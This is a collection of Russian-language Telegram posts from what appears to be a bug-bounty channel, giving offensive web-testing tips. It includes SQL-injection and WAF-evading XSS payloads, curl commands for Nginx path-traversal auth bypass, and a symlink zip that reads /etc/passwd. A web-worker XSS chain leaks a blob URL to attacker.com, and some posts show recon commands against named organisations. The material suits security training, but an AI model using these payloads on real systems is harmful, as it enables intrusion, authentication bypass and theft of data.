☝️ Если при эксплуатации SQL-инъекции сервер пятисотит, при этом обычные булевые инъекции дают нестабильные результаты, попробуй пэйлоады из примеров. Они должны вызывать 500-ю ошибку в случае, когда условие (1=1) истинно.
В классических boolean-based инъекциях мы проверяем разницу между
TRUE и FALSE условиями по ответу сервера (размер страницы, различие в содержимом и т.п.).Но бывают ситуации, когда сервер ведёт себя одинаково, и различия отследить сложно (например, ответ всегда
200 ОК, одинаковый HTML).P. S. Вместо анализа различий в HTML, анализируй факт наличия/отсутствия ошибки, — это помогает надёжно извлекать данные там, где boolean-инъекции «шумят» или плохо работают.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5❤1👾1
AutoRepeater + Taborator = 🔥
Объединяй расширения Burp AutoRepeater и Taborator для автоматизации воркфлоу и максимизации результатов поиска SSRF:
✔️ Настрой регулярное выражение в AutoRepeater для поиска потенциальных URL-адресов и замени его на плейсхолдер Taborator
✔️ Это будет повторять запрос, изменяя URL на твой Burp Collaborator. Если SSRF-атака будет успешной, ты увидишь HTTP callback в Taborator с точным запросом, который её вызвал.
P. S. Мы уже упоминали об аналогичной автоматизации, но с использованием стандартных возможностей замены в Burp.
Объединяй расширения Burp AutoRepeater и Taborator для автоматизации воркфлоу и максимизации результатов поиска SSRF:
$collabplz.P. S. Мы уже упоминали об аналогичной автоматизации, но с использованием стандартных возможностей замены в Burp.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🤔5👍4
Представь, что у тебя есть XSS, но перед точкой инъекции есть неопределенная переменная. Все надежды потеряны?
Нет, ты можешь использовать технику XSS Hoisting, чтобы объявить переменную и продолжить эксплуатацию.
С какими нестандартными векторами эксплуатации XSS вы встречались в своей практике? Поделитесь с сообществом
Please open Telegram to view this post
VIEW IN TELEGRAM
👎7❤3🤡3😐3👍2🔥1🤔1
🥷🏿 Поиск коллизий кэша
Современные веб-архитектуры любят кэширование. Их много: на уровне приложения, на уровне CDN/прокси — и каждый живёт своей жизнью.
Но стоит конфигурации чуть разойтись, и начинается магия: разные кэши начинают хранить разные версии одного и того же ответа.
Рассмотрим пример приложения на Drupal, которое использует два кэш-заголовка:
Первый запрос возвращает
Когда мы добавляем
Когда снова удаляем
Это указывает на то, что были задействованы два разных механизма кэширования, позволившие сохранять ответы в кэше при разных условиях.
🚨 Что это значит?
Система пытается разделять авторизованных и неавторизованных пользователей, но механизм кэширования игнорировал заголовок
По сути, это Cache Deception. Если на проекте несколько уровней кэша и они по-разному трактуют заголовки — явный признак наличия бага:
💡 Всегда проверяй, какие заголовки влияют на кэширование (
💡 Сравнивай ответы приложения и CDN
💡 Ищи «залипшие»
Современные веб-архитектуры любят кэширование. Их много: на уровне приложения, на уровне CDN/прокси — и каждый живёт своей жизнью.
Но стоит конфигурации чуть разойтись, и начинается магия: разные кэши начинают хранить разные версии одного и того же ответа.
Рассмотрим пример приложения на Drupal, которое использует два кэш-заголовка:
X-Drupal-Cache (кэш на уровне приложения) и X-Cache (кэш на уровне прокси/CDN). Когда страница успешно закэширована, эти заголовки показывают статус HIT; если нет — MISS.Первый запрос возвращает
X-Cache: HIT, что подтверждает кэширование страницы, хотя заголовок X-Drupal-Cache показал MISS:GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 37531
X-Drupal-Cache: MISS
X-Content-Type-Options: nosniff
Cache-Control: public, max-age=0
Vary: Cookie,Accept-Encoding
Age: 6
X-Cache: HIT
Когда мы добавляем
Authorization в запрос, оба заголовка возвращаются со значением HIT:GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...
Authorization: test
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 37531
X-Drupal-Cache: HIT
X-Content-Type-Options: nosniff
Cache-Control: public, max-age=0
Vary: Cookie,Accept-Encoding
Age: 12
X-Cache: HIT
Когда снова удаляем
Authorization из запроса, статус X-Drupal-Cache: HIT сохраняется:GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 37531
X-Drupal-Cache: HIT
X-Content-Type-Options: nosniff
Cache-Control: public, max-age=0
Vary: Cookie,Accept-Encoding
Age: 5
X-Cache: HIT
Это указывает на то, что были задействованы два разных механизма кэширования, позволившие сохранять ответы в кэше при разных условиях.
Система пытается разделять авторизованных и неавторизованных пользователей, но механизм кэширования игнорировал заголовок
Authorization. В итоге приватный ответ мог попасть в публичный кэш → любой юзер получит чужой контент.По сути, это Cache Deception. Если на проекте несколько уровней кэша и они по-разному трактуют заголовки — явный признак наличия бага:
Authorization, Cookie, Host и т.п.)HIT-ы там, где должны быть MISSPlease open Telegram to view this post
VIEW IN TELEGRAM
❤6
На сегодняшний день SQLi не так часто встречаются в багбаунти, но тут как никогда актуальна поговорка:
Все новое — это хорошо забытое старое
Инъекцию можно встретить в разных частях SQL-запроса: в операторах
SELECT/ORDER BY, UPDATE (внутри WHERE), DELETE и INSERT.Многие начинающие багхантеры используют стандартный пэйлоад "
x' OR 1=1 -- -" везде, но это работает не всегда. Особенно проблематично с INSERT запросами:INSERT INTO users (username, email, password)
VALUES ('x' or 1=1 -- -', 'test@example.com', 'hash');
x'||'y" — для конкатенации строкx', (SELECT ...), 'y')-- -" — для корректного закрытия VALUESINSERT INTO users (username, email, password)
VALUES ('x', (SELECT version()), 'y')-- -', 'test@example.com', 'hash');
1. Замена пробелов комментариями:
'/**/OR/**/1=1--/**/-
2. Использование переносов строк:
'OR%0A1=1--%0A-
3. Скобки для изменения паттерна:
'OR(1=1)-- -
4. Смешивание регистра:
'oR 1=1-- -
'Or 1=1-- -
'OR 1=1-- -
Please open Telegram to view this post
VIEW IN TELEGRAM
🤨8👍5🔥2🤔2
🥷🏿 Path Traversal в Nginx: байпас авторизации через $request_uri
Представь — у тебя есть валидный JWT, но только права обычного юзера. А что если одним HTTP-запросом получить админские права? Или вообще обойтись без токена там, где он нужен?
💡 Идеальные условия
▪️ API с микросервисной архитектурой
▪️ Kubernetes + Nginx ingress (Kong, Apache APISIX, F5 NGINX)
▪️ URL вида
▪️ Централизованная аутентификация/авторизация (например, JWT проверяется именно на ingress, а не каждым сервисом)
⤵️ Пошаговый гайд
1. Проверяем архитектуру — ищем Nginx в ошибках, отправив запрос к несуществующему сервису:
2. Тестируем нормализацию
3. Находим публичный сервис:
▪️ Ищем эндпоинты без аутентификации
▪️ Обычно это
4. Эксплуатируем:
4.1. Возьми рабочий запрос к защищенному сервису, например
4.2. Сделайте токен недействительным и отправь запрос из п. 4.1.
4.3. Подожди и сделай токен просроченным и отправь запрос из пункта 4.1.
👉 Что важно помнить
▪️ Если авторизация децентрализована (каждый сервис сам решает, пускать ли), уязвимость не сработает.
▪️ Если всё централизовано и ingress ошибается в нормализации — шанс на баг есть.
🔥 Повышение привилегий
В приложении реализован централизованный контроль доступа, который проверяет, к какой группе/роли принадлежит юзер.
✨ В этой ситуации попробуй следующие шаги:
2.1. Найди эндпоинт, к которому ты не можешь получить доступ.
2.2. Возьми действительный запрос с доказательством аутентификации (например, JWT).
2.3. Отправь запрос к эндпоинту из п. 2.1, но используя path traversal, описанный ранее.
Представь — у тебя есть валидный JWT, но только права обычного юзера. А что если одним HTTP-запросом получить админские права? Или вообще обойтись без токена там, где он нужен?
api.example.com/service-name/endpoint или api.example.com/customer-service, а не user.example.com или customer.example.com1. Проверяем архитектуру — ищем Nginx в ошибках, отправив запрос к несуществующему сервису:
curl --path-as-is https://api.example.com/sdalksjdeiu1/customer-serivice/endpoint1
2. Тестируем нормализацию
../ и ..%2F:curl --path-as-is https://api.example.com/sdalksjdeiu1/../customer-serivice/endpoint1
curl --path-as-is https://api.example.com/sdalksjdeiu1/..%2F/customer-serivice/endpoint1
curl --path-as-is https://api.example.com/sdalksjdeiu1/..%252Fcustomer-serivice/endpoint1
3. Находим публичный сервис:
/health, /status, /public-api4. Эксплуатируем:
4.1. Возьми рабочий запрос к защищенному сервису, например
/protected-service/protected?a=1 и измени на /public-service/..%2Fprotected-service/protected?a=1, но отправь его без токена.4.2. Сделайте токен недействительным и отправь запрос из п. 4.1.
4.3. Подожди и сделай токен просроченным и отправь запрос из пункта 4.1.
В приложении реализован централизованный контроль доступа, который проверяет, к какой группе/роли принадлежит юзер.
2.1. Найди эндпоинт, к которому ты не можешь получить доступ.
2.2. Возьми действительный запрос с доказательством аутентификации (например, JWT).
2.3. Отправь запрос к эндпоинту из п. 2.1, но используя path traversal, описанный ранее.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤🔥7🔥5😱2
При тестировании black-box методом ты не имеешь доступа к исходникам, не можешь увидеть, как работает тестируемая фича или как она обрабатывает входные данные. Поэтому необходимо ответить на несколько вопросов, включая:
Существует множество методов black-box тестирования, и все они, по сути, преследуют одну и ту же главную цель: улучшить понимание фичи и/или вызвать неожиданное поведение. Последнее может включать:
<z>"z'z`%}})z${{z\Его цель — инициирование общих ошибок, нарушения экранирования кавычек, ошибки шаблонизаторов, обнаружение XSS, инъекции форматирования и получение сообщений о некорректном вводе от целевой системы.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤5💯1
Если в тестируемом приложении есть возможность загружать файлы (в том числе архивы), попробуй провести атаку через символическую ссылку.
Твоя задача — заархивировать файл, который является символической ссылкой. Символическая ссылка — это своего рода ярлык, который указывает на другой файл в файловой системе.
$ ln -s /etc/passwd test.txt
$ zip --symlinks test.zip test.txt
Если сервер примет и распакует такой архив, то при обращении к нему можно получить содержимое целевого файла:
https://domain.com/test.txt
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9❤🔥4🔥3
Обычно данные в формате JSON возвращаются с заголовком
Content-Type: application/json, что указывает браузеру на структурированные данные. Браузеры в таком случае не пытаются интерпретировать JSON как HTML или JavaScript.Content-Type: text/html (или другой неправильный тип)Используй Burp Bambda для поиска JSON-ответов с некорректным
Content-Type:id: 6620a595-520b-1ba2-2b20-5ea8568fdb89
name: Filter JSON responses with incorrect content type
function: VIEW_FILTER
location: PROXY_HTTP_HISTORY
source: |+
return !requestResponse.request().method().equals("OPTIONS");
var contentType = requestResponse.hasResponse() ? requestResponse.response().headerValue("Content-Type") : null;
if (contentType != null && !contentType.contains("application/json")) {
String body = requestResponse.response().bodyToString().trim();
return body.startsWith( "{" ) || body.startsWith( "[" );
}
return false;
P. S. Если ты не работал с Bambdas, то самое время наверстать упущенное. Эта фича представлена два года назад и позволяет кастомизировать Burp Suite прямо из пользовательского интерфейса с помощью небольших сниппетов Java-кода.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8❤🔥3❤1👍1
Макросы позволяют автоматически отправлять HTTP-запросы для поддержания состояния сессии или выполнять определенные действия перед основными запросами. Правила обработки сессий определяют, когда и как применять макросы к твоим запросам.
Когда использовать:
Шаг 1: подготовка запросов
Тебе понадобится три ключевых запроса:
Шаг 2: Настройка макроса
Project Options → Sessions → Macros → AddШаг 3: создание Session Handling Rule
Handling Rules → Add создай новое правилоRun a macro и укажи созданный макросШаг 4: запуск атаки
Null payloads и установи concurrent requests = 1Упрощенно воркфлоу сводится к двум простым шагам:
Please open Telegram to view this post
VIEW IN TELEGRAM
❤8
Nginx понимает несколько специальных заголовков от бэкенда при проксировании через
proxy_pass. Пример — в конфиге выше Бэкенду требуется возможность (или уязвимость), позволяющая внедрять произвольные заголовки ответа. Это часто встречается при SSRF — когда запросы идут на сервер атакующего.
@app.route('/')
def index():
headers = json.loads(unquote(request.args.get("headers")))
return Response("Hello, world!", headers=headers)Заголовок ответа
X-Accel-Redirect перепишет URL и выполнит повторную оценку конфигурации — в результате будет возвращён ответ по новому пути. Если установить его значение в
/internal, то будет использован обработчик для location /internal, даже несмотря на то, что запрошенный путь остаётся /. Это позволяет обойти проверку internal;, что обычно было бы невозможно при удалённом обращении.GET /?headers={"X-Accel-Redirect":"/internal"} HTTP/1.1HTTP/1.1 200 OK
...
Internal
X-Accel-Charset: задаёт charset в Content-TypeX-Accel-Buffering: включает или отключает буферизацию ответаX-Accel-Limit-Rate: скорость (в байтах в секунду) передачи клиентуX-Accel-Expires: время истечения кеша для ответаPlease open Telegram to view this post
VIEW IN TELEGRAM
❤8🔥1
Один из пограничных кейсов XSS — пэйлоад, выполняющийся внутри веб-воркера. Веб-воркеры исполняют JS в том же origin, но в изолированной среде: они лишены доступа к DOM,
window.open(), alert() и другим обычным window-API, которые доступны при классической XSS.fetch() в воркерах работает в том же origin, что и main window — значит с запросами отправляются куки, и при корректных CORS-заголовках можно читать ответы.// Отравление кеша
fetch("https://example.com/noscript.js", {
headers: { "X-Forwarded-Host": `"-alert(origin)-"` },
cache: "reload"
});
Воркеры могут отправлять сообщения в main window через
postMessage(). Если окно получает данные и вставляет их в DOM или выполняет eval без валидации — это путь к эскалации в полноценную XSS.// main window
const worker = new Worker("worker.js");
worker.addEventListener("message", (e) => {
alert(e.data); // потенциальная точка уязвимости
});
// worker.js
postMessage("Hello, world!");
Единственное общее хранилище между воркером и основным окном — можно читать/изменять данные.
В
WorkerGlobalScope доступен объект caches, общий для страницы и service воркера. Если использует кэш, воркер может перезаписать записи в cache storage — это дает вектор для XSS.Идея простая: создаешь HTML как
Blob, получаешь для него blob:-URL (URL.createObjectURL(blob)), а затем заставляешь браузер открыть этот URL в обычном контексте (не в воркере).blob:-URL имеет тот же origin, поэтому при открытии выполнится с доступом к DOM и localStorage.Проблема: навигация на
blob:-URL напрямую часто блокируется. Решение — «утечка» URL и интерактивный шаг пользователя:const blob = new Blob(['<noscript>alert(origin)</noscript>'], {type: "text/html"});
const url = URL.createObjectURL(blob);Процесс атаки:
1. В воркере создаешь Blob с финальным пейлоадом:
fetch("https://attacker.com/leak?" + new URLSearchParams({ url }));2. Линкуешь этот
blob:-URL наружу:fetch("https://attacker.com/leak?" + new URLSearchParams({ url }))3. Подготавливаешь подконтрольную страницу для drag & drop:
<a href="blob:https://example.com/...">Перетащи меня</a>
<noscript>
ondragstart = (e) => {
window.open("", "", "left=0,top=0,height=9999,width=9999");
e.dataTransfer.clearData();
e.dataTransfer.setData("text/uri-list", "blob:https://example.com/...");
}
</noscript>
Когда пользователь перетаскивает элемент, открывается полноэкранное окно, и при отпускании мыши
blob:-URL открывается в новой вкладке, выполняя XSS с доступом ко всем API. Работает как минимум в Chrome!Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤6
По сути: это Turbo Intruder, заточенный под WebSocket, плюс HTTP-middleware для автоматизации.
Зачем это нужно
Как поставить
Extensions → BApp Store → WebSocket Turbo Intruder или CLI:java -jar WebSocketFuzzer-2.0.0.jar <noscriptFile> <requestFile> <endpoint> <baseInput>
Если ручной просмотр таблицы результатов не твой стиль, ты можешь обернуть WebSocket соединение внутри HTTP запроса, используя WebSocket Turbo Intruder HTTP Middleware.
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{"user":"You"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Теперь ты можешь отправлять HTTP POST запрос на localhost, где тело запроса обрабатывается как WebSocket сообщение. Это позволяет сканировать любой WebSocket с помощью Burp Suite Pro или другого автоматизированного сканера.
POST /proxy?url=https://example.com/endpoint HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
Помимо обычных ошибок приложений, WebSockets создают свою уникальную поверхность для атак. Главная цель расширения — помочь тебе их найти и проэксплуатировать.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤8👍3
Функция createElement() используется для создания React-элементов. Она принимает три параметра:
const element = createElement(type, props, ...children)
type: может быть либо строкой с именем тега (т.е. div становится <div></div>), либо классом компонента, который будет вызван для построения элемента.props: может быть либо объектом, либо null. Пары ключ/значение в объекте будут присвоены создаваемому элементу как атрибуты, если type — строка с именем тега, или как свойства, если type — это класс компонента....children: дочерний узел (узлы) создаваемого элемента.Если ты можешь передать ввод из источника в sink
createElement() через один или несколько из этих параметров, он может влиять на генерацию HTML и достичь DOM XSS/CSS injection (в зависимости от версии).Предполагая,что ты контролируешь десериализованный JSON или сериализованный HTML, которые передаются в
createElement(), то параметры, которые ты можешь задать, определяют, чего ты можешь достичь Ресурсы:
Please open Telegram to view this post
VIEW IN TELEGRAM
❤6
По умолчанию JDK в Burp ограничивает размер TLS-рукопожатия до 32KB (параметр
jdk.tls.maxHandshakeMessageSize). Это ломает перехват трафика у приложений с большими TLS Handshake сообщениями (обычно из-за длинной цепочки сертификатов).-Djdk.tls.maxHandshakeMessageSize=65536
в файл
.vmoptions Burp. Если файла нет — создай вручную и укажи путь через настройки запуска Burp.Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍2
Tom Hudson славится своими тулзами, которые выполняют ровно одну фичу, но делают это максимально эффективно. kxss — одна из таких
Тулза помогает быстро выявлять отраженные параметры для поиска XSS, показывая, какие параметры в ответах сервера отражаются, и какие спецсимволы проходят фильтрацию.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7
В пентесте/багбаунти часто нет полного скоупа или дают wildcard (
*.example.com). Тогда приходится искать самому — вот рабочий воркфлоу.Если у организации есть своя автономная система (AS):
asnmap -asn AS51115 -silent
echo "178.248.233.0/24" | dnsx -ptr -resp -o reverse_dns.txt
echo "178.248.233.0/24" | tlsx -p 443,3443,8443,9443,10443 -cn -san -o tlsx_result.txt
revwhoix -k "Positive Technologies, CJSC"
subfinder -d standoff365.com -silent
puredns bruteforce wordlist.txt standoff365.com -w subdomains_standoff365.com.txt
cat subdomains_standoff365.com.txt | alterx | dnsx -o alterx_resolved_subdomains_standoff365.com.txt
Создание словаря из найденных поддоменов часто приносит больше результатов, чем «слепой» общедоступный wordlist.
P. S. Чем шире поверхность атаки, тем больше шансов обнаружить неожиданные сервисы, забытые поддомены и «тёмные углы» инфраструктуры.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤15👍3
Главная цель — обход WAF, который блокирует типичные паттерны XSS.
Как это работает
onerror на eval позволяет выполнить сообщение об ошибке как кодБазовый прием — использование функции перед шаблонной строкой:
alert`test`
Более продвинутый вариант — создание функции из строки:
Function`alert\u00281\u0029` ``
Здесь скобки заменены на unicode-представление (
\u0028 и \u0029).Динамическое выполнение кода через
hash:Function`_${location.hash.slice`1`}` ``Ключевая идея: подмена
onerror на eval и создание валидного JS-кода из сообщения об ошибке:onerror = eval
throw '=alert\x281\u0029'
Сообщение об ошибке в Chrome:
Uncaught =alert(1), что является валидным кодом (Uncaught становится переменной).Без точки с запятой (используя блок):
{onerror=alert}throw 1Или через запятую:
throw onerror=alert,1
В Firefox формат ошибок другой, поэтому используются объекты
Error:throw onerror=eval,x=new Error,x.message='alert\x281\x29',x
Пейлоад через regexp и конкатенацию:
throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337,3331,117]+a[13]
Здесь:
a[12] и a[13] извлекают ( и ) из строки функции URL/1/g — regexp, который в строке становится "/1/g"Uncaught /1/g(1337,3331,117) — валидный кодМанипуляция с
TypeError.prototype.name:TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']
Изменяется имя
TypeError, чтобы сообщение об ошибке начиналось с =/, формируя regexp, который комбинируется с -alert(1).Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤3